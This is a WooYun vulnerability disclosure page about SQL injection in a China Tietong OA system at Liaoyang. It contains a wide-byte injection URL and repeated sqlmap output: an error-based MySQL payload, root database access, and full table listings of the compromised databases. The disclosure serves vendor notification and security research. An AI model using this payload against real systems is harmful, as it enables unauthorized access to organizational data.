当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0148333

漏洞标题：中国铁通辽阳OA办公系统SQL注入/root权限/394个表

相关厂商：中国铁通

漏洞作者： 路人甲

提交时间：2015-10-21 14:16

修复时间：2015-12-07 11:00

公开时间：2015-12-07 11:00

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-21： 细节已通知厂商并且等待厂商处理中
2015-10-23： 厂商已经确认，细节仅向厂商公开
2015-11-02： 细节向核心白帽子及相关领域专家公开
2015-11-12： 细节向普通白帽子公开
2015-11-22： 细节向实习白帽子公开
2015-12-07： 细节向公众公开

简要描述：

详细说明：

**.**.**.**/general/score/flow/scoredate/result.php?FLOW_ID=11%bf%27%20


1.jpg


2.jpg


3.jpg


sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: FLOW_ID
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: FLOW_ID=11%bf'  AND (SELECT 7735 FROM(SELECT COUNT(*),CONCAT(0x7161686b71,(SELECT (CASE WHEN (7735=7735) THEN 1 ELSE 0 END)),0x7164656671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- Pewq
---
web server operating system: Windows
web application technology: Apache 2.2.19, PHP 5.2.17
back-end DBMS: MySQL 5.0
current database:    'td_oa'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: FLOW_ID
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: FLOW_ID=11%bf'  AND (SELECT 7735 FROM(SELECT COUNT(*),CONCAT(0x7161686b71,(SELECT (CASE WHEN (7735=7735) THEN 1 ELSE 0 END)),0x7164656671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- Pewq
---
web server operating system: Windows
web application technology: Apache 2.2.19, PHP 5.2.17
back-end DBMS: MySQL 5.0
current user:    'root@**.**.**.**'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: FLOW_ID
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: FLOW_ID=11%bf'  AND (SELECT 7735 FROM(SELECT COUNT(*),CONCAT(0x7161686b71,(SELECT (CASE WHEN (7735=7735) THEN 1 ELSE 0 END)),0x7164656671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- Pewq
---
web server operating system: Windows
web application technology: Apache 2.2.19, PHP 5.2.17
back-end DBMS: MySQL 5.0
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: FLOW_ID
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: FLOW_ID=11%bf'  AND (SELECT 7735 FROM(SELECT COUNT(*),CONCAT(0x7161686b71,(SELECT (CASE WHEN (7735=7735) THEN 1 ELSE 0 END)),0x7164656671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- Pewq
---
web server operating system: Windows
web application technology: Apache 2.2.19, PHP 5.2.17
back-end DBMS: MySQL 5.0
current database:    'td_oa'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: FLOW_ID
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: FLOW_ID=11%bf'  AND (SELECT 7735 FROM(SELECT COUNT(*),CONCAT(0x7161686b71,(SELECT (CASE WHEN (7735=7735) THEN 1 ELSE 0 END)),0x7164656671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- Pewq
---
web server operating system: Windows
web application technology: Apache 2.2.19, PHP 5.2.17
back-end DBMS: MySQL 5.0
Database: web
[1 table]
+----------------------------------------------+
| temptab                                      |
+----------------------------------------------+
Database: performance_schema
[17 tables]
+----------------------------------------------+
| cond_instances                               |
| events_waits_current                         |
| events_waits_history                         |
| events_waits_history_long                    |
| events_waits_summary_by_instance             |
| events_waits_summary_by_thread_by_event_name |
| events_waits_summary_global_by_event_name    |
| file_instances                               |
| file_summary_by_event_name                   |
| file_summary_by_instance                     |
| mutex_instances                              |
| performance_timers                           |
| rwlock_instances                             |
| setup_consumers                              |
| setup_instruments                            |
| setup_timers                                 |
| threads                                      |
+----------------------------------------------+
Database: BUS
[16 tables]
+----------------------------------------------+
| bj_line                                      |
| bs_line                                      |
| cd_line                                      |
| city                                         |
| cq_line                                      |
| gz_line                                      |
| hz_line                                      |
| km_line                                      |
| nj_line                                      |
| post_tel                                     |
| qd_line                                      |
| sh_line                                      |
| sz_line                                      |
| tj_line                                      |
| wh_line                                      |
| xa_line                                      |
+----------------------------------------------+
Database: TRAIN
[5 tables]
+----------------------------------------------+
| kind                                         |
| pass                                         |
| price                                        |
| station                                      |
| train                                        |
+----------------------------------------------+
Database: mysql
[24 tables]
+----------------------------------------------+
| user                                         |
| columns_priv                                 |
| db                                           |
| event                                        |
| func                                         |
| general_log                                  |
| help_category                                |
| help_keyword                                 |
| help_relation                                |
| help_topic                                   |
| host                                         |
| ndb_binlog_index                             |
| plugin                                       |
| proc                                         |
| procs_priv                                   |
| proxies_priv                                 |
| servers                                      |
| slow_log                                     |
| tables_priv                                  |
| time_zone                                    |
| time_zone_leap_second                        |
| time_zone_name                               |
| time_zone_transition                         |
| time_zone_transition_type                    |
+----------------------------------------------+
Database: TD_OA
[394 tables]
+----------------------------------------------+
| session                                      |
| user                                         |
| version                                      |
| address                                      |
| address_group                                |
| affair                                       |
| app_log                                      |
| attachment                                   |
| attachment_edit                              |
| attachment_module                            |
| attachment_position                          |
| attend_ask_duty                              |
| attend_config                                |
| attend_duty                                  |
| attend_evection                              |
| attend_holiday                               |
| attend_leave                                 |
| attend_machine                               |
| attend_manager                               |
| attend_out                                   |
| attendance_overtime                          |
| bbs_board                                    |
| bbs_comment                                  |
| book_info                                    |
| book_manage                                  |
| book_manager                                 |
| book_type                                    |
| bs_line                                      |
| calendar                                     |
| categories_type                              |
| censor_data                                  |
| censor_module                                |
| censor_words                                 |
| chatroom                                     |
| connect_config                               |
| contact                                      |
| contract                                     |
| contract_line                                |
| countdown                                    |
| cp_asset_keep                                |
| cp_asset_reflect                             |
| cp_asset_type                                |
| cp_assetcfg                                  |
| cp_cptl_info                                 |
| cp_dpct_sub                                  |
| cp_prcs_prop                                 |
| crm_account                                  |
| crm_account_care                             |
| crm_account_contact                          |
| crm_action                                   |
| crm_complain                                 |
| crm_contract                                 |
| crm_customer_service                         |
| crm_depository                               |
| crm_diary_setting                            |
| crm_email_html_model                         |
| crm_html_model                               |
| crm_marketing                                |
| crm_module_1                                 |
| crm_module_10                                |
| crm_module_11                                |
| crm_module_2                                 |
| crm_module_3                                 |
| crm_module_4                                 |
| crm_module_5                                 |
| crm_module_6                                 |
| crm_module_7                                 |
| crm_module_8                                 |
| crm_module_9                                 |
| crm_opportunity                              |
| crm_opportunity_products_list                |
| crm_order                                    |
| crm_order_products_list                      |
| crm_procurement_payment                      |
| crm_product                                  |
| crm_product_type                             |
| crm_purchase_order                           |
| crm_purchase_order_products_list             |
| crm_quotation                                |
| crm_quotation_products_list                  |
| crm_salepay                                  |
| crm_solutions                                |
| crm_stockout                                 |
| crm_stockout_products_list                   |
| crm_storage                                  |
| crm_storage_products_list                    |
| crm_supplier                                 |
| crm_supplier_contact                         |
| crm_sys_audit                                |
| crm_sys_block_item                           |
| crm_sys_code                                 |
| crm_sys_code_type                            |
| crm_sys_entity                               |
| crm_sys_entity_index                         |
| crm_sys_entity_op                            |
| crm_sys_fast_new                             |
| crm_sys_field                                |
| crm_sys_layout_block                         |
| crm_sys_layout_item                          |
| crm_sys_list_view                            |
| crm_sys_list_view_color                      |
| crm_sys_list_view_default                    |
| crm_sys_list_view_field                      |
| crm_sys_list_view_map                        |
| crm_sys_list_view_order                      |
| crm_sys_list_view_rule                       |
| crm_sys_list_view_rule_parent                |
| crm_sys_op                                   |
| crm_sys_op_priv                              |
| crm_sys_op_priv_template                     |
| crm_sys_picklist                             |
| crm_sys_quick_link                           |
| crm_sys_relation                             |
| crm_sys_report                               |
| crm_sys_report_chart                         |
| crm_sys_report_column                        |
| crm_sys_report_dir                           |
| crm_sys_report_filter                        |
| crm_sys_report_filter_parent                 |
| crm_sys_report_group                         |
| crm_sys_report_summary                       |
| crm_sys_report_sysdefine                     |
| crm_sys_search                               |
| crm_sys_status                               |
| crm_sys_status_type                          |
| crm_sys_uv                                   |
| crm_sys_uv_field                             |
| customer                                     |
| daemon_config                                |
| daemon_hardware_info                         |
| daemon_process_info                          |
| daemon_services_config                       |
| daemon_services_status                       |
| daemon_services_tmp                          |
| data_2013xmmc                                |
| data_2014gc                                  |
| data_2015gc                                  |
| data_src                                     |
| data_whxmmc                                  |
| data_xmmx                                    |
| department                                   |
| dept_map                                     |
| diary                                        |
| diary_comment                                |
| diary_comment_reply                          |
| doc_keywords                                 |
| doc_print_log                                |
| doc_recv_data                                |
| doc_recv_prcs                                |
| doc_recv_priv                                |
| doc_send_data                                |
| doc_send_prcs                                |
| doc_type                                     |
| doc_user_data                                |
| doc_user_data2                               |
| efax_account                                 |
| efax_receive_box                             |
| efax_send_box                                |
| email                                        |
| email_body                                   |
| email_box                                    |
| email_boxgroup                               |
| email_name                                   |
| esb_info                                     |
| esb_msg_recv                                 |
| esb_msg_send                                 |
| esb_workflow                                 |
| esb_workflow_rule                            |
| exam_data                                    |
| exam_flow                                    |
| exam_paper                                   |
| exam_quiz                                    |
| exam_quiz_set                                |
| ext_dept                                     |
| ext_user                                     |
| field_date                                   |
| fieldsetting                                 |
| file_content                                 |
| file_sort                                    |
| flow_data_29                                 |
| flow_data_31                                 |
| flow_data_32                                 |
| flow_data_33                                 |
| flow_data_34                                 |
| flow_data_37                                 |
| flow_data_38                                 |
| flow_data_39                                 |
| flow_data_41                                 |
| flow_data_42                                 |
| flow_data_44                                 |
| flow_data_46                                 |
| flow_data_47                                 |
| flow_data_49                                 |
| flow_data_50                                 |
| flow_data_51                                 |
| flow_data_52                                 |
| flow_data_54                                 |
| flow_data_55                                 |
| flow_data_56                                 |
| flow_data_57                                 |
| flow_data_58                                 |
| flow_data_59                                 |
| flow_data_60                                 |
| flow_form_type                               |
| flow_form_version                            |
| flow_hook                                    |
| flow_manage_log                              |
| flow_print_tpl                               |
| flow_priv                                    |
| flow_process                                 |
| flow_query_tpl                               |
| flow_report                                  |
| flow_report_priv                             |
| flow_rule                                    |
| flow_run                                     |
| flow_run_attach                              |
| flow_run_data                                |
| flow_run_feedback                            |
| flow_run_hook                                |
| flow_run_log                                 |
| flow_run_prcs                                |
| flow_sort                                    |
| flow_timer                                   |
| flow_type                                    |
| flow_version                                 |
| form_sort                                    |
| gbt_conf                                     |
| gwiki_cate                                   |
| gwiki_fav                                    |
| gwiki_log                                    |
| gwiki_priv                                   |
| gwiki_tag                                    |
| gwiki_template                               |
| gwiki_term                                   |
| gwiki_term_final                             |
| gwiki_term_temp                              |
| hr_card_module                               |
| hr_care_task                                 |
| hr_code                                      |
| hr_insurance_default                         |
| hr_insurance_manage                          |
| hr_insurance_para                            |
| hr_manager                                   |
| hr_recruit_filter                            |
| hr_recruit_plan                              |
| hr_recruit_pool                              |
| hr_recruit_recruitment                       |
| hr_recruit_requirements                      |
| hr_sal_data                                  |
| hr_staff_care                                |
| hr_staff_contract                            |
| hr_staff_incentive                           |
| hr_staff_info                                |
| hr_staff_labor_skills                        |
| hr_staff_learn_experience                    |
| hr_staff_leave                               |
| hr_staff_license                             |
| hr_staff_reinstatement                       |
| hr_staff_relatives                           |
| hr_staff_title_evaluation                    |
| hr_staff_transfer                            |
| hr_staff_work_experience                     |
| hr_training_examine                          |
| hr_training_plan                             |
| hr_training_record                           |
| hr_wage_manage                               |
| hr_welfare_manage                            |
| hrms                                         |
| html_model                                   |
| icqcontact_tb                                |
| icqmsgs_tb                                   |
| icqservermsg_tb                              |
| im_cluster                                   |
| im_group                                     |
| im_group_maxmsgid                            |
| im_group_msg                                 |
| im_message_cache                             |
| im_offline_file                              |
| index_article                                |
| index_keyword                                |
| index_search                                 |
| interface                                    |
| ip_rule                                      |
| linkman                                      |
| login_app                                    |
| meeting                                      |
| meeting_comment                              |
| meeting_equipment                            |
| meeting_room                                 |
| message                                      |
| message2                                     |
| module_priv                                  |
| mytable                                      |
| netchat                                      |
| netdisk                                      |
| netmeeting                                   |
| news                                         |
| news_comment                                 |
| notes                                        |
| notify                                       |
| oa_cyclesource_used                          |
| oa_source                                    |
| oa_source_used                               |
| oc_log                                       |
| office_depository                            |
| office_products                              |
| office_task                                  |
| office_transhistory                          |
| office_type                                  |
| order_line                                   |
| picture                                      |
| plan_type                                    |
| portal                                       |
| product                                      |
| proj_bug                                     |
| proj_comment                                 |
| proj_cost                                    |
| proj_field_date                              |
| proj_fieldsetting                            |
| proj_file                                    |
| proj_file_log                                |
| proj_file_sort                               |
| proj_forum                                   |
| proj_priv                                    |
| proj_project                                 |
| proj_sys_code                                |
| proj_task                                    |
| proj_task_log                                |
| provider                                     |
| provider_linkman                             |
| rms_file                                     |
| rms_lend                                     |
| rms_roll                                     |
| rms_roll_room                                |
| rsa_keypair                                  |
| sal_data                                     |
| sal_flow                                     |
| sal_item                                     |
| sale_history                                 |
| sale_manager                                 |
| score_date                                   |
| score_flow                                   |
| score_group                                  |
| score_item                                   |
| seal                                         |
| seal_keylic                                  |
| seal_log                                     |
| secure_key                                   |
| service                                      |
| sms                                          |
| sms2                                         |
| sms2_priv                                    |
| sms3                                         |
| sms_body                                     |
| supply_history                               |
| supply_order                                 |
| sys_code                                     |
| sys_function                                 |
| sys_log                                      |
| sys_menu                                     |
| sys_para                                     |
| task                                         |
| unit                                         |
| url                                          |
| user_ext                                     |
| user_group                                   |
| user_map                                     |
| user_online                                  |
| user_priv                                    |
| vehicle                                      |
| vehicle_maintenance                          |
| vehicle_oil_use                              |
| vehicle_operator                             |
| vehicle_usage                                |
| vi_flow_run                                  |
| vi_user                                      |
| vote_data                                    |
| vote_item                                    |
| vote_title                                   |
| webmail                                      |
| webmail_body                                 |
| weixun_share                                 |
| weixun_share_topic                           |
| wiki_ask                                     |
| wiki_ask_answer                              |
| wiki_comment                                 |
| wiki_info                                    |
| winexe                                       |
| word_model                                   |
| work_detail                                  |
| work_person                                  |
| work_plan                                    |
| zbap_paiban                                  |
| zl_file                                      |
+----------------------------------------------+
Database: crscell
[292 tables]
+----------------------------------------------+
| crs_autocode                                 |
| crs_chart                                    |
| crs_codeindex                                |
| crs_codeitem                                 |
| crs_columnindex                              |
| crs_database                                 |
| crs_detailreadpriv                           |
| crs_detailwritepriv                          |
| crs_entrust                                  |
| crs_formulas                                 |
| crs_hyperlink                                |
| crs_logiccheck                               |
| crs_para                                     |
| crs_pntpara                                  |
| crs_readstate                                |
| crs_repkind                                  |
| crs_report                                   |
| crs_reportbulletin                           |
| crs_reportstate                              |
| crs_synsign                                  |
| crs_tabledata158                             |
| crs_tabledata159                             |
| crs_tabledata160                             |
| crs_tabledata161                             |
| crs_tabledata162                             |
| crs_tabledata163                             |
| crs_tabledata164                             |
| crs_tabledata165                             |
| crs_tabledata166                             |
| crs_tabledata167                             |
| crs_tabledata168                             |
| crs_tabledata169                             |
| crs_tabledata170                             |
| crs_tabledata171                             |
| crs_tabledata172                             |
| crs_tabledata173                             |
| crs_tabledata174                             |
| crs_tabledata175                             |
| crs_tabledata239                             |
| crs_tabledata240                             |
| crs_tabledata241                             |
| crs_tabledata242                             |
| crs_tabledata245                             |
| crs_tabledata246                             |
| crs_tabledata258                             |
| crs_tabledata259                             |
| crs_tabledata260                             |
| crs_tabledata274                             |
| crs_tabledata275                             |
| crs_tabledata276                             |
| crs_tabledata277                             |
| crs_tabledata280                             |
| crs_tabledata281                             |
| crs_tabledata282                             |
| crs_tabledata304                             |
| crs_tabledata305                             |
| crs_tabledata306                             |
| crs_tabledata307                             |
| crs_tabledata308                             |
| crs_tabledata309                             |
| crs_tabledata310                             |
| crs_tabledata311                             |
| crs_tabledata312                             |
| crs_tabledata313                             |
| crs_tabledata314                             |
| crs_tabledata315                             |
| crs_tabledata316                             |
| crs_tabledata317                             |
| crs_tabledata318                             |
| crs_tabledata319                             |
| crs_tabledata320                             |
| crs_tabledata321                             |
| crs_tabledata322                             |
| crs_tabledata323                             |
| crs_tabledata324                             |
| crs_tabledata325                             |
| crs_tabledata326                             |
| crs_tabledata327                             |
| crs_tabledata328                             |
| crs_tabledata329                             |
| crs_tabledata330                             |
| crs_tabledata331                             |
| crs_tabledata332                             |
| crs_tabledata333                             |
| crs_tabledata334                             |
| crs_tabledata335                             |
| crs_tabledata336                             |
| crs_tabledata337                             |
| crs_tabledata338                             |
| crs_tabledata339                             |
| crs_tabledata340                             |
| crs_tabledata341                             |
| crs_tabledata342                             |
| crs_tabledata343                             |
| crs_tabledata344                             |
| crs_tabledata345                             |
| crs_tabledata346                             |
| crs_tabledata347                             |
| crs_tabledata348                             |
| crs_tabledata349                             |
| crs_tabledata350                             |
| crs_tabledata351                             |
| crs_tabledata352                             |
| crs_tabledata353                             |
| crs_tabledata354                             |
| crs_tabledata355                             |
| crs_tabledata356                             |
| crs_tabledata357                             |
| crs_tabledata358                             |
| crs_tabledata359                             |
| crs_tabledata360                             |
| crs_tabledata386                             |
| crs_tabledata387                             |
| crs_tabledata388                             |
| crs_tabledata389                             |
| crs_tabledata390                             |
| crs_tabledata391                             |
| crs_tabledata392                             |
| crs_tabledata393                             |
| crs_tabledata394                             |
| crs_tabledata395                             |
| crs_tabledata396                             |
| crs_tabledata397                             |
| crs_tabledata398                             |
| crs_tabledata399                             |
| crs_tabledata400                             |
| crs_tabledata401                             |
| crs_tabledata402                             |
| crs_tabledata403                             |
| crs_tabledata404                             |
| crs_tabledata405                             |
| crs_tabledata406                             |
| crs_tabledata407                             |
| crs_tabledata408                             |
| crs_tabledata409                             |
| crs_tabledata410                             |
| crs_tabledata411                             |
| crs_tabledata412                             |
| crs_tabledata413                             |
| crs_tabledata414                             |
| crs_tabledata415                             |
| crs_tabledata416                             |
| crs_tabledata417                             |
| crs_tabledata418                             |
| crs_tabledata419                             |
| crs_tabledata420                             |
| crs_tabledata421                             |
| crs_tabledata422                             |
| crs_tabledata423                             |
| crs_tabledata424                             |
| crs_tabledata425                             |
| crs_tabledata426                             |
| crs_tabledata427                             |
| crs_tabledata428                             |
| crs_tabledata429                             |
| crs_tabledata430                             |
| crs_tabledata431                             |
| crs_tabledata432                             |
| crs_tabledata433                             |
| crs_tabledata434                             |
| crs_tabledata435                             |
| crs_tabledata436                             |
| crs_tabledata437                             |
| crs_tabledata438                             |
| crs_tabledata439                             |
| crs_tabledata440                             |
| crs_tabledata441                             |
| crs_tabledata442                             |
| crs_tabledata443                             |
| crs_tabledata444                             |
| crs_tabledata445                             |
| crs_tabledata446                             |
| crs_tabledata447                             |
| crs_tabledata448                             |
| crs_tabledata449                             |
| crs_tabledata450                             |
| crs_tabledata451                             |
| crs_tabledata452                             |
| crs_tabledata453                             |
| crs_tabledata454                             |
| crs_tabledata455                             |
| crs_tabledata456                             |
| crs_tabledata457                             |
| crs_tabledata458                             |
| crs_tabledata459                             |
| crs_tabledata460                             |
| crs_tabledata461                             |
| crs_tabledata462                             |
| crs_tabledata463                             |
| crs_tabledata464                             |
| crs_tabledata465                             |
| crs_tabledata466                             |
| crs_tabledata467                             |
| crs_tabledata468                             |
| crs_tabledata469                             |
| crs_tabledata470                             |
| crs_tabledata471                             |
| crs_tabledata472                             |
| crs_tabledata473                             |
| crs_tabledata474                             |
| crs_tabledata475                             |
| crs_tabledata476                             |
| crs_tabledata477                             |
| crs_tabledata478                             |
| crs_tabledata479                             |
| crs_tabledata489                             |
| crs_tabledata490                             |
| crs_tabledata491                             |
| crs_tabledata492                             |
| crs_tabledata493                             |
| crs_tabledata494                             |
| crs_tabledata496                             |
| crs_tabledata497                             |
| crs_tabledata498                             |
| crs_tabledata499                             |
| crs_tabledata500                             |
| crs_tabledata501                             |
| crs_tabledata502                             |
| crs_tabledata503                             |
| crs_tabledata504                             |
| crs_tabledata505                             |
| crs_tabledata506                             |
| crs_tabledata507                             |
| crs_tabledata508                             |
| crs_tabledata509                             |
| crs_tabledata510                             |
| crs_tabledata511                             |
| crs_tabledata517                             |
| crs_tabledata521                             |
| crs_tabledata522                             |
| crs_tabledata523                             |
| crs_tabledata527                             |
| crs_tabledata528                             |
| crs_tabledata529                             |
| crs_tabledata530                             |
| crs_tabledata531                             |
| crs_tabledata532                             |
| crs_tabledata533                             |
| crs_tabledata534                             |
| crs_tabledata535                             |
| crs_tabledata536                             |
| crs_tabledata540                             |
| crs_tabledata541                             |
| crs_tabledata542                             |
| crs_tabledata543                             |
| crs_tabledata544                             |
| crs_tabledata545                             |
| crs_tabledata546                             |
| crs_tabledata547                             |
| crs_tabledata548                             |
| crs_tabledata549                             |
| crs_tabledata550                             |
| crs_tabledata551                             |
| crs_tabledata552                             |
| crs_tabledata553                             |
| crs_tabledata554                             |
| crs_tabledata555                             |
| crs_tabledata556                             |
| crs_tabledata557                             |
| crs_tabledata558                             |
| crs_tabledata559                             |
| crs_tabledata560                             |
| crs_tabledata562                             |
| crs_tabledata563                             |
| crs_tabledata564                             |
| crs_tabledata565                             |
| crs_tabledata566                             |
| crs_tabledata567                             |
| crs_tabledata568                             |
| crs_tabledata569                             |
| crs_tabledata570                             |
| crs_tabledata571                             |
| crs_tabledata572                             |
| crs_tabledata573                             |
| crs_tabledata574                             |
| crs_tabledata575                             |
| crs_tabledata576                             |
| crs_tabledata577                             |
| crs_tabledata578                             |
| crs_tabledata584                             |
| crs_tabledata585                             |
| crs_tabledata586                             |
| crs_tabledata587                             |
| crs_tabledata588                             |
| crs_tabledata589                             |
| crs_tabledata590                             |
| crs_tabledata591                             |
| crs_tabledata592                             |
| crs_tabledata603                             |
| crs_tableindex                               |
| crs_workflow                                 |
| datatype                                     |
+----------------------------------------------+
Database: information_schema
[37 tables]
+----------------------------------------------+
| CHARACTER_SETS                               |
| COLLATIONS                                   |
| COLLATION_CHARACTER_SET_APPLICABILITY        |
| COLUMNS                                      |
| COLUMN_PRIVILEGES                            |
| ENGINES                                      |
| EVENTS                                       |
| FILES                                        |
| GLOBAL_STATUS                                |
| GLOBAL_VARIABLES                             |
| INNODB_CMP                                   |
| INNODB_CMPMEM                                |
| INNODB_CMPMEM_RESET                          |
| INNODB_CMP_RESET                             |
| INNODB_LOCKS                                 |
| INNODB_LOCK_WAITS                            |
| INNODB_TRX                                   |
| KEY_COLUMN_USAGE                             |
| PARAMETERS                                   |
| PARTITIONS                                   |
| PLUGINS                                      |
| PROCESSLIST                                  |
| PROFILING                                    |
| REFERENTIAL_CONSTRAINTS                      |
| ROUTINES                                     |
| SCHEMATA                                     |
| SCHEMA_PRIVILEGES                            |
| SESSION_STATUS                               |
| SESSION_VARIABLES                            |
| STATISTICS                                   |
| TABLES                                       |
| TABLESPACES                                  |
| TABLE_CONSTRAINTS                            |
| TABLE_PRIVILEGES                             |
| TRIGGERS                                     |
| USER_PRIVILEGES                              |
| VIEWS                                        |
+----------------------------------------------+

漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-10-23 10:59

厂商回复：

CNVD确认并复现所述情况,已经转由CNCERT向中国移动集团公司通报,由其后续协调网站管理部门处置.

最新状态：

暂无